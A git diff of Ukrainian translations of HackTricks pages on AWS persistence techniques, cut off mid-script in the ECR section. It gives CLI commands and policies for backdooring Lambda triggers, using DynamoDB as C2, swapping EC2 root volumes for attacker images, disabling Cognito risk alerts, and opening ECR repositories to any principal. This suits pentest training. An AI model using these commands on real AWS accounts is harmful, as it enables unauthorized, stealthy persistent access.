Translated ['src/pentesting-cloud/aws-security/aws-unauthenticated-enum-

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md

@@ -1,32 +0,0 @@
-# AWS - API Gateway Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## API Gateway
-
-Для отримання додаткової інформації перейдіть за посиланням:
-
-{{#ref}}
-../aws-services/aws-api-gateway-enum.md
-{{#endref}}
-
-### Resource Policy
-
-Змініть політику ресурсів API gateway(ів), щоб надати собі доступ до них.
-
-### Modify Lambda Authorizers
-
-Змініть код авторизаторів lambda, щоб надати собі доступ до всіх кінцевих точок.\
-Або просто видаліть використання авторизатора.
-
-### IAM Permissions
-
-Якщо ресурс використовує авторизатор IAM, ви можете надати собі доступ до нього, змінивши дозволи IAM.\
-Або просто видаліть використання авторизатора.
-
-### API Keys
-
-Якщо використовуються API ключі, ви можете їх витікати, щоб підтримувати постійний доступ або навіть створити нові.\
-Або просто видаліть використання API ключів.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence/README.md

@@ -0,0 +1,32 @@
+# AWS - API Gateway Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## API Gateway
+
+Для отримання додаткової інформації див.:
+
+{{#ref}}
+../../aws-services/aws-api-gateway-enum.md
+{{#endref}}
+
+### Resource Policy
+
+Змініть політику ресурсів у API gateway(s), щоб надати собі доступ до них
+
+### Змініть Lambda Authorizers
+
+Змініть код lambda authorizers, щоб надати собі доступ до всіх кінцевих точок.\
+Або просто видаліть використання авторизатора.
+
+### IAM Дозволи
+
+Якщо ресурс використовує IAM authorizer, ви можете надати собі доступ до нього, змінивши дозволи IAM.\
+Або просто видаліть використання авторизатора.
+
+### API Keys
+
+Якщо використовуються API keys, ви можете leak їх для підтримки persistence або навіть створити нові.\
+Або просто видаліть використання API keys.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md

@@ -1,23 +0,0 @@
-# AWS - Cloudformation Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CloudFormation
-
-Для отримання додаткової інформації, зверніться до:
-
-{{#ref}}
-../aws-services/aws-cloudformation-and-codestar-enum.md
-{{#endref}}
-
-### CDK Bootstrap Stack
-
-AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім обліковим записам розгортати проекти CDK у жертвенному обліковому записі. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до жертвеного облікового запису, використовуючи AWS cli для повторного розгортання стека з параметрами або AWS CDK cli.
-```bash
-# CDK
-cdk bootstrap --trust 1234567890
-
-# AWS CLI
-aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence/README.md

@@ -0,0 +1,23 @@
+# AWS - Cloudformation Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CloudFormation
+
+Для додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-cloudformation-and-codestar-enum.md
+{{#endref}}
+
+### CDK Bootstrap Stack
+
+AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім акаунтам розгортати CDK проєкти в обліковому записі жертви. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до облікового запису жертви, або використовуючи AWS cli для повторного розгортання стека з параметрами, або AWS CDK cli.
+```bash
+# CDK
+cdk bootstrap --trust 1234567890
+
+# AWS CLI
+aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md

@@ -1,40 +0,0 @@
-# AWS - Cognito Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Для отримання додаткової інформації, перейдіть за посиланням:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### User persistence
-
-Cognito - це сервіс, який дозволяє надавати ролі неавтентифікованим та автентифікованим користувачам і контролювати каталог користувачів. Кілька різних конфігурацій можуть бути змінені для підтримки певної стійкості, такі як:
-
-- **Додавання User Pool**, контрольованого користувачем, до Identity Pool
-- Надання **IAM ролі неавтентифікованому Identity Pool та дозволення Basic auth flow**
-- Або **автентифікованому Identity Pool**, якщо зловмисник може увійти в систему
-- Або **покращення дозволів** наданих ролей
-- **Створення, перевірка та privesc** через атрибути контрольованих користувачів або нових користувачів у **User Pool**
-- **Дозволення зовнішнім постачальникам ідентичності** входити в User Pool або в Identity Pool
-
-Перевірте, як виконати ці дії в
-
-{{#ref}}
-../aws-privilege-escalation/aws-cognito-privesc.md
-{{#endref}}
-
-### `cognito-idp:SetRiskConfiguration`
-
-Зловмисник з цим привілеєм міг би змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Перевірте cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) для перевірки всіх опцій:
-```bash
-aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
-```
-За замовчуванням це вимкнено:
-
-<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence/README.md

@@ -0,0 +1,40 @@
+# AWS - Cognito Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Cognito
+
+Для більш детальної інформації перегляньте:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### User persistence
+
+Cognito — сервіс, який дозволяє надавати ролі неавторизованим та авторизованим користувачам і керувати каталогом користувачів. Кілька різних конфігурацій можна змінити, щоб забезпечити певну persistence, наприклад:
+
+- **Adding a User Pool** який контролюється користувачем до Identity Pool
+- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
+- Або до an **authenticated Identity Pool** якщо атакуючий може увійти
+- Або **improve the permissions** наданих ролей
+- **Create, verify & privesc** через користувачів з контрольованими атрибутами або нових користувачів у **User Pool**
+- **Allowing external Identity Providers** для входу в User Pool або в Identity Pool
+
+Дізнайтеся, як виконувати ці дії в
+
+{{#ref}}
+../../aws-privilege-escalation/aws-cognito-privesc/README.md
+{{#endref}}
+
+### `cognito-idp:SetRiskConfiguration`
+
+Зловмисник з цим привілеєм може змінити конфігурацію ризику, щоб мати можливість увійти як користувач Cognito **без спрацьовування тривог**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) to check all the options:
+```bash
+aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
+```
+За замовчуванням це вимкнено:
+
+<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md

@@ -1,59 +0,0 @@
-# AWS - DynamoDB Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### DynamoDB
-
-Для отримання додаткової інформації зверніться до:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-### Тригери DynamoDB з бекдором Lambda
-
-Використовуючи тригери DynamoDB, зловмисник може створити **прихований бекдор**, асоціювавши шкідливу функцію Lambda з таблицею. Функція Lambda може бути активована, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код у обліковому записі AWS.
-```bash
-# Create a malicious Lambda function
-aws lambda create-function \
---function-name MaliciousFunction \
---runtime nodejs14.x \
---role <LAMBDA_ROLE_ARN> \
---handler index.handler \
---zip-file fileb://malicious_function.zip \
---region <region>
-
-# Associate the Lambda function with the DynamoDB table as a trigger
-aws dynamodbstreams describe-stream \
---table-name TargetTable \
---region <region>
-
-# Note the "StreamArn" from the output
-aws lambda create-event-source-mapping \
---function-name MaliciousFunction \
---event-source <STREAM_ARN> \
---region <region>
-```
-Щоб підтримувати стійкість, зловмисник може створювати або змінювати елементи в таблиці DynamoDB, що викликатиме шкідливу функцію Lambda. Це дозволяє зловмиснику виконувати код в обліковому записі AWS без прямої взаємодії з функцією Lambda.
-
-### DynamoDB як C2 канал
-
-Зловмисник може використовувати таблицю DynamoDB як **канал команд і контролю (C2)**, створюючи елементи, що містять команди, і використовуючи скомпрометовані екземпляри або функції Lambda для отримання та виконання цих команд.
-```bash
-# Create a DynamoDB table for C2
-aws dynamodb create-table \
---table-name C2Table \
---attribute-definitions AttributeName=CommandId,AttributeType=S \
---key-schema AttributeName=CommandId,KeyType=HASH \
---provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
---region <region>
-
-# Insert a command into the table
-aws dynamodb put-item \
---table-name C2Table \
---item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
---region <region>
-```
-Скомпрометовані екземпляри або функції Lambda можуть періодично перевіряти таблицю C2 на наявність нових команд, виконувати їх і, за бажанням, повідомляти результати назад до таблиці. Це дозволяє зловмиснику підтримувати стійкість і контроль над скомпрометованими ресурсами.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence/README.md

@@ -0,0 +1,59 @@
+# AWS - DynamoDB Персистентність
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### DynamoDB
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+### DynamoDB тригери з Lambda Backdoor
+
+Використовуючи тригери DynamoDB, зловмисник може створити **stealthy backdoor**, асоціювавши зловмисну Lambda функцію з таблицею. Функція Lambda може запускатися, коли елемент додається, змінюється або видаляється, що дозволяє зловмиснику виконувати довільний код в межах облікового запису AWS.
+```bash
+# Create a malicious Lambda function
+aws lambda create-function \
+--function-name MaliciousFunction \
+--runtime nodejs14.x \
+--role <LAMBDA_ROLE_ARN> \
+--handler index.handler \
+--zip-file fileb://malicious_function.zip \
+--region <region>
+
+# Associate the Lambda function with the DynamoDB table as a trigger
+aws dynamodbstreams describe-stream \
+--table-name TargetTable \
+--region <region>
+
+# Note the "StreamArn" from the output
+aws lambda create-event-source-mapping \
+--function-name MaliciousFunction \
+--event-source <STREAM_ARN> \
+--region <region>
+```
+Щоб підтримувати persistence, зловмисник може створювати або змінювати записи в таблиці DynamoDB, що запускатиме шкідливу Lambda-функцію. Це дозволяє зловмиснику виконувати code в обліковому записі AWS без прямої взаємодії з Lambda-функцією.
+
+### DynamoDB як C2 Channel
+
+Зловмисник може використовувати таблицю DynamoDB як **command and control (C2) channel**, створюючи записи з командами та використовуючи скомпрометовані інстанси або Lambda-функції для отримання та виконання цих команд.
+```bash
+# Create a DynamoDB table for C2
+aws dynamodb create-table \
+--table-name C2Table \
+--attribute-definitions AttributeName=CommandId,AttributeType=S \
+--key-schema AttributeName=CommandId,KeyType=HASH \
+--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
+--region <region>
+
+# Insert a command into the table
+aws dynamodb put-item \
+--table-name C2Table \
+--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
+--region <region>
+```
+Скомпрометовані instances або Lambda functions можуть періодично перевіряти C2 table на наявність нових команд, виконувати їх і за бажанням відправляти результати назад у таблицю. Це дозволяє зловмиснику підтримувати persistence і контроль над скомпрометованими ресурсами.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md

@@ -1,54 +0,0 @@
-# AWS - EC2 Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Відстеження з'єднань групи безпеки
-
-Якщо захисник виявить, що **EC2 екземпляр був скомпрометований**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACL впливають на всю підмережу) або **змінивши групу безпеки**, не дозволяючи **жодного виду вхідного або вихідного** трафіку.
-
-Якщо зловмисник мав **реверс-шелл, що походить з машини**, навіть якщо SG змінено, щоб не дозволяти вхідний або вихідний трафік, **з'єднання не буде розірвано через** [**Відстеження з'єднань групи безпеки**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
-
-### EC2 Lifecycle Manager
-
-Ця служба дозволяє **планувати** **створення AMI та знімків** і навіть **ділитися ними з іншими обліковими записами**.\
-Зловмисник може налаштувати **генерацію AMI або знімків** всіх образів або всіх томів **кожного тижня** і **ділитися ними зі своїм обліковим записом**.
-
-### Заплановані екземпляри
-
-Можна запланувати екземпляри для запуску щодня, щотижня або навіть щомісяця. Зловмисник може запустити машину з високими привілеями або цікавим доступом, де він міг би отримати доступ.
-
-### Запит на флот Spot
-
-Spot-екземпляри є **дешевшими** ніж звичайні екземпляри. Зловмисник може запустити **маленький запит на флот Spot на 5 років** (наприклад), з **автоматичним призначенням IP** і **даними користувача**, які надсилають зловмиснику **коли spot-екземпляр запускається** та **IP-адресу** з **високопривілейованою IAM роллю**.
-
-### Задні двері в екземплярах
-
-Зловмисник може отримати доступ до екземплярів і встановити в них задні двері:
-
-- Використовуючи традиційний **rootkit**, наприклад
-- Додаючи новий **публічний SSH ключ** (перевірте [опції підвищення привілеїв EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
-- Встановлюючи задні двері в **дані користувача**
-
-### **Конфігурація запуску з задніми дверима**
-
-- Встановити задні двері в використаний AMI
-- Встановити задні двері в дані користувача
-- Встановити задні двері в пару ключів
-
-### VPN
-
-Створіть VPN, щоб зловмисник міг підключитися безпосередньо через нього до VPC.
-
-### VPC Peering
-
-Створіть з'єднання пірінгу між VPC жертви та VPC зловмисника, щоб він міг отримати доступ до VPC жертви.
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence/README.md

@@ -0,0 +1,62 @@
+# AWS - EC2 Персистентність
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EC2
+
+Для детальнішої інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
+{{#endref}}
+
+### Security Group Connection Tracking Persistence
+
+Якщо захисник виявить, що **EC2 instance було скомпрометовано**, він, ймовірно, спробує **ізолювати** **мережу** машини. Він може зробити це за допомогою явного **Deny NACL** (але NACLs впливають на всю підмережу), або **змінивши security group**, щоб не дозволяти **жодного вхідного або вихідного** трафіку.
+
+Якщо атакував мав **reverse shell, що ініціювався з машини**, навіть якщо SG змінено так, що не дозволяє вхідний або вихідний трафік, **з'єднання не буде розірване через** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
+
+### EC2 Lifecycle Manager
+
+Цей сервіс дозволяє **планувати** **створення AMIs та snapshots** і навіть **ділитися ними з іншими акаунтами**.\
+Атакуючий може налаштувати **генерацію AMIs або snapshots** усіх образів або всіх томів **щотижня** і **ділитися ними зі своїм акаунтом**.
+
+### Scheduled Instances
+
+Можна планувати запуск instances щоденно, щотижнево або навіть щомісяця. Атакуючий може запускати машину з високими привілеями або цікавим доступом, до якої він зможе потрапити.
+
+### Spot Fleet Request
+
+Spot instances є **дешевшими**, ніж звичайні instances. Атакуючий може запустити **невеликий spot fleet request на 5 років** (наприклад), з **автоматичним призначенням IP** та **user data**, яка надсилає атакуючому **коли spot instance стартує** і **IP-адресу**, та з **високопривілейованим IAM role**.
+
+### Backdoor Instances
+
+Атакуючий може отримати доступ до instances і закласти в них бекдор:
+
+- Використовуючи традиційний **rootkit**, наприклад
+- Додавши новий **public SSH key** (див. [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
+- Заклавши бекдор у **User Data**
+
+### **Backdoor Launch Configuration**
+
+- Backdoor the used AMI
+- Backdoor the User Data
+- Backdoor the Key Pair
+
+### EC2 ReplaceRootVolume Task (Stealth Backdoor)
+
+Замінити кореневий EBS volume запущеного instance на той, що створений з AMI або snapshot, контрольованих атакуючим, використовуючи `CreateReplaceRootVolumeTask`. Instance зберігає свої ENIs, IPs та роль, фактично завантажуючись у шкідливий код, при цьому виглядаючи незміненим.
+
+{{#ref}}
+../aws-ec2-replace-root-volume-persistence/README.md
+{{#endref}}
+
+### VPN
+
+Створити VPN, щоб атакуючий міг підключатися безпосередньо до VPC.
+
+### VPC Peering
+
+Створити peering connection між victim VPC та attacker VPC, щоб він міг отримати доступ до victim VPC.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-replace-root-volume-persistence/README.md

@@ -0,0 +1,75 @@
+# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+Зловживайте **ec2:CreateReplaceRootVolumeTask**, щоб замінити кореневий том EBS запущеного інстансу на том, відновлений з AMI або snapshot, контрольованого зловмисником. Інстанс автоматично перезавантажується і запускається з кореневою файловою системою, контрольованою зловмисником, при цьому зберігаються ENIs, приватні/публічні IP, приєднані не-кореневі томи та метадані інстансу/IAM роль.
+
+## Вимоги
+- Цільовий інстанс є EBS-backed і запущений у тому самому регіоні.
+- Сумісний AMI або snapshot: та сама архітектура/віртуалізація/режим завантаження (та product codes, якщо є), що й цільовий інстанс.
+
+## Попередні перевірки
+```bash
+REGION=us-east-1
+INSTANCE_ID=<victim instance>
+
+# Ensure EBS-backed
+aws ec2 describe-instances   --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceType' --output text
+
+# Capture current network and root volume
+ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
+ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
+ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
+```
+## Замінити root з AMI (рекомендовано)
+```bash
+IMAGE_ID=<attacker-controlled compatible AMI>
+
+# Start task
+TASK_ID=$(aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID   --query 'ReplaceRootVolumeTaskId' --output text)
+
+# Poll until state == succeeded
+while true; do
+STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION     --replace-root-volume-task-ids $TASK_ID     --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
+echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
+done
+```
+Альтернатива з використанням snapshot:
+```bash
+SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
+aws ec2 create-replace-root-volume-task   --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
+```
+## Докази / Перевірка
+```bash
+# Instance auto-reboots; network identity is preserved
+NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID   --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
+
+# Compare before vs after
+printf "ENI:%s IP:%s
+ORIG_VOL:%s
+NEW_VOL:%s
+" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
+
+# (Optional) Inspect task details and console output
+aws ec2 describe-replace-root-volume-tasks --region $REGION   --replace-root-volume-task-ids $TASK_ID --output json
+aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
+```
+Очікується: ENI_ID та PRI_IP залишаються незмінними; ID кореневого тому змінюється з $ORIG_VOL на $NEW_VOL. Система завантажується із файловою системою з AMI/snapshot, контрольованого атакуючим.
+
+## Примітки
+- API не вимагає від вас вручну зупиняти інстанс; EC2 організовує перезавантаження.
+- За замовчуванням замінений (старий) кореневий EBS том відключається та залишається в акаунті (DeleteReplacedRootVolume=false). Це можна використати для відкату або його потрібно видалити, щоб уникнути витрат.
+
+## Відкат / Очищення
+```bash
+# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
+# you can create a snapshot and replace again from it:
+SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL   --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
+aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
+aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
+
+# Or simply delete the detached old root volume if not needed:
+aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
+```
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md

@@ -1,91 +0,0 @@
-# AWS - ECR Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## ECR
-
-Для отримання додаткової інформації перегляньте:
-
-{{#ref}}
-../aws-services/aws-ecr-enum.md
-{{#endref}}
-
-### Схований Docker-образ з шкідливим кодом
-
-Зловмисник може **завантажити Docker-образ, що містить шкідливий код** до репозиторію ECR і використовувати його для підтримки стійкості в цільовому обліковому записі AWS. Потім зловмисник може розгорнути шкідливий образ на різних службах в обліковому записі, таких як Amazon ECS або EKS, непомітно.
-
-### Політика репозиторію
-
-Додайте політику до одного репозиторію, надаючи собі (або всім) доступ до репозиторію:
-```bash
-aws ecr set-repository-policy \
---repository-name cluster-autoscaler \
---policy-text file:///tmp/my-policy.json
-
-# With a .json such as
-
-{
-"Version" : "2008-10-17",
-"Statement" : [
-{
-"Sid" : "allow public pull",
-"Effect" : "Allow",
-"Principal" : "*",
-"Action" : [
-"ecr:BatchCheckLayerAvailability",
-"ecr:BatchGetImage",
-"ecr:GetDownloadUrlForLayer"
-]
-}
-]
-}
-```
-> [!WARNING]
-> Зверніть увагу, що ECR вимагає, щоб користувачі мали **дозвіл** на виклики до **`ecr:GetAuthorizationToken`** API через IAM політику **перед тим, як вони зможуть аутентифікуватися** в реєстрі та завантажувати або вивантажувати будь-які зображення з будь-якого репозиторію Amazon ECR.
-
-### Політика реєстру та крос-акаунтне реплікація
-
-Можливо автоматично реплікувати реєстр в зовнішньому акаунті, налаштувавши крос-акаунтну реплікацію, де вам потрібно **вказати зовнішній акаунт**, в якому ви хочете реплікувати реєстр.
-
-<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
-
-Спочатку вам потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру** на зразок:
-```bash
-aws ecr put-registry-policy --policy-text file://my-policy.json
-
-# With a .json like:
-
-{
-"Sid": "asdasd",
-"Effect": "Allow",
-"Principal": {
-"AWS": "arn:aws:iam::947247140022:root"
-},
-"Action": [
-"ecr:CreateRepository",
-"ecr:ReplicateImage"
-],
-"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
-}
-```
-Тоді застосуйте конфігурацію реплікації:
-```bash
-aws ecr put-replication-configuration \
---replication-configuration file://replication-settings.json \
---region us-west-2
-
-# Having the .json a content such as:
-{
-"rules": [{
-"destinations": [{
-"region": "destination_region",
-"registryId": "destination_accountId"
-}],
-"repositoryFilters": [{
-"filter": "repository_prefix_name",
-"filterType": "PREFIX_MATCH"
-}]
-}]
-}
-```
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence/README.md

@@ -0,0 +1,145 @@
+# AWS - ECR Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## ECR
+
+Для отримання додаткової інформації дивіться:
+
+{{#ref}}
+../../aws-services/aws-ecr-enum.md
+{{#endref}}
+
+### Прихований Docker-образ зі шкідливим кодом
+
+Нападник може **завантажити Docker-образ, що містить шкідливий код**, до репозиторію ECR і використати його для підтримки persistence у цільовому обліковому записі AWS. Потім нападник може розгорнути шкідливий образ у різних сервісах облікового запису, таких як Amazon ECS або EKS, приховано.
+
+### Політика репозиторію
+
+Додайте політику до одного репозиторію, яка надає вам (або всім) доступ до репозиторію:
+```bash
+aws ecr set-repository-policy \
+--repository-name cluster-autoscaler \
+--policy-text file:///tmp/my-policy.json
+
+# With a .json such as
+
+{
+"Version" : "2008-10-17",
+"Statement" : [
+{
+"Sid" : "allow public pull",
+"Effect" : "Allow",
+"Principal" : "*",
+"Action" : [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer"
+]
+}
+]
+}
+```
+> [!WARNING]
+> Зауважте, що ECR вимагає, щоб користувачі мали **дозвіл** робити виклики до **`ecr:GetAuthorizationToken`** API через IAM policy **перед тим як вони зможуть автентифікуватися** в реєстрі та виконувати push або pull будь-яких образів з будь-якого репозиторію Amazon ECR.
+
+### Політика реєстру та реплікація між акаунтами
+
+Можна автоматично реплікувати реєстр у зовнішньому акаунті, налаштувавши реплікацію між акаунтами, де потрібно **вказати зовнішній акаунт**, у який ви хочете реплікувати реєстр.
+
+<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
+
+Спочатку потрібно надати зовнішньому акаунту доступ до реєстру за допомогою **політики реєстру**, наприклад:
+```bash
+aws ecr put-registry-policy --policy-text file://my-policy.json
+
+# With a .json like:
+
+{
+"Sid": "asdasd",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::947247140022:root"
+},
+"Action": [
+"ecr:CreateRepository",
+"ecr:ReplicateImage"
+],
+"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
+}
+```
+Потім застосуйте конфігурацію реплікації:
+```bash
+aws ecr put-replication-configuration \
+--replication-configuration file://replication-settings.json \
+--region us-west-2
+
+# Having the .json a content such as:
+{
+"rules": [{
+"destinations": [{
+"region": "destination_region",
+"registryId": "destination_accountId"
+}],
+"repositoryFilters": [{
+"filter": "repository_prefix_name",
+"filterType": "PREFIX_MATCH"
+}]
+}]
+}
+```
+### Repository Creation Templates (префіксний backdoor для майбутніх репозиторіїв)
+
+Зловживати ECR Repository Creation Templates, щоб автоматично backdoor будь-який репозиторій, який ECR автоматично створює під контрольованим префіксом (наприклад через Pull-Through Cache або Create-on-Push). Це надає постійний несанкціонований доступ до майбутніх репозиторіїв без торкання існуючих.
+
+- Потрібні дозволи: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (використовується шаблоном), iam:PassRole (якщо до шаблону прикріплена кастомна роль).
+- Наслідки: Будь-який новий репозиторій, створений під цільовим префіксом, автоматично успадковує політику репозиторію, керовану нападником (наприклад читання/запис між акаунтами), налаштування мутації тегів та параметри сканування за замовчуванням.
+
+<details>
+<summary>Backdoor майбутні репозиторії, створені PTC, під обраним префіксом</summary>
+```bash
+# Region
+REGION=us-east-1
+
+# 1) Prepare permissive repository policy (example grants everyone RW)
+cat > /tmp/repo_backdoor_policy.json <<'JSON'
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "BackdoorRW",
+"Effect": "Allow",
+"Principal": {"AWS": "*"},
+"Action": [
+"ecr:BatchCheckLayerAvailability",
+"ecr:BatchGetImage",
+"ecr:GetDownloadUrlForLayer",
+"ecr:InitiateLayerUpload",
+"ecr:UploadLayerPart",
+"ecr:CompleteLayerUpload",
+"ecr:PutImage"
+]
+}
+]
+}
+JSON
+
+# 2) Create a Repository Creation Template for prefix "ptc2" applied to PULL_THROUGH_CACHE
+aws ecr create-repository-creation-template   --region $REGION   --prefix ptc2   --applied-for PULL_THROUGH_CACHE   --image-tag-mutability MUTABLE   --repository-policy file:///tmp/repo_backdoor_policy.json
+
+# 3) Create a Pull-Through Cache rule that will auto-create repos under that prefix
+#    This example caches from Amazon ECR Public namespace "nginx"
+aws ecr create-pull-through-cache-rule   --region $REGION   --ecr-repository-prefix ptc2   --upstream-registry ecr-public   --upstream-registry-url public.ecr.aws   --upstream-repository-prefix nginx
+
+# 4) Trigger auto-creation by pulling a new path once (creates repo ptc2/nginx)
+acct=$(aws sts get-caller-identity --query Account --output text)
